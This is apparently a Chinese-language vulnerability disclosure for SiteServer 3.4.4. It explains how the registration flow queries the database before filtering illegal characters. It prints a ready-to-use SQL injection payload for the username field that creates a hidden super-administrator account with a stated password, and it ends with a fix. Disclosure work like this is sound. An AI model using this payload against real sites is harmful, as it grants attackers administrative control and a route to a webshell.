SiteServer 3.4.4 逻辑漏洞导致SQL注入

简要描述:

SiteServer 3.4.4 某业务流程逻辑错误,导致SQL注入,从而得到后台管理权限,进而拿到webshell。也可直接利用sqlserver配置不当拿到webshell或服务器权限。

详细说明:

问题出在UserCenter.Pages.DLL中的Register,注册流程逻辑有问题,具体如下:

1.程序先把用户名带入数据库中查询,如果用户名没有重复,进入第二步;

2.再在远程检测用户名中是否含有非法字符,如果没有,则进入第三步;

3.将新注册的用户插入数据库。



由于在进行第一步的时候,程序没有进行任何处理就带入数据库中查询,那么就可以xxoo了。 Orz。。。。



Example:
http://127.0.0.1/UserCenter/register.aspx

用户名填入以下语句,其他地方正常填写。
123′);insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values(‘blue’,’VffSUZcBPo4=’,’Encrypted’,’i7jq4LwC25wKDoqHErBWaw==’);insert into bairong_AdministratorsInRoles values(‘Administrator’,’blue’);insert into bairong_AdministratorsInRoles values(‘RegisteredUser’,’blue’);insert into bairong_AdministratorsInRoles values(‘ConsoleAdministrator’,’blue’);–



提交注册之后就往库里面插入了一个用户名为:blue 密码为:lanhai 的超级用户。

默认后台地址为:http://127.0.0.1/siteserver

修复方案:

调整业务流程,先检测非法字符,再带入数据库中查询。

漏洞作者: 蓝孩 

发表评论?

0 条评论。

发表评论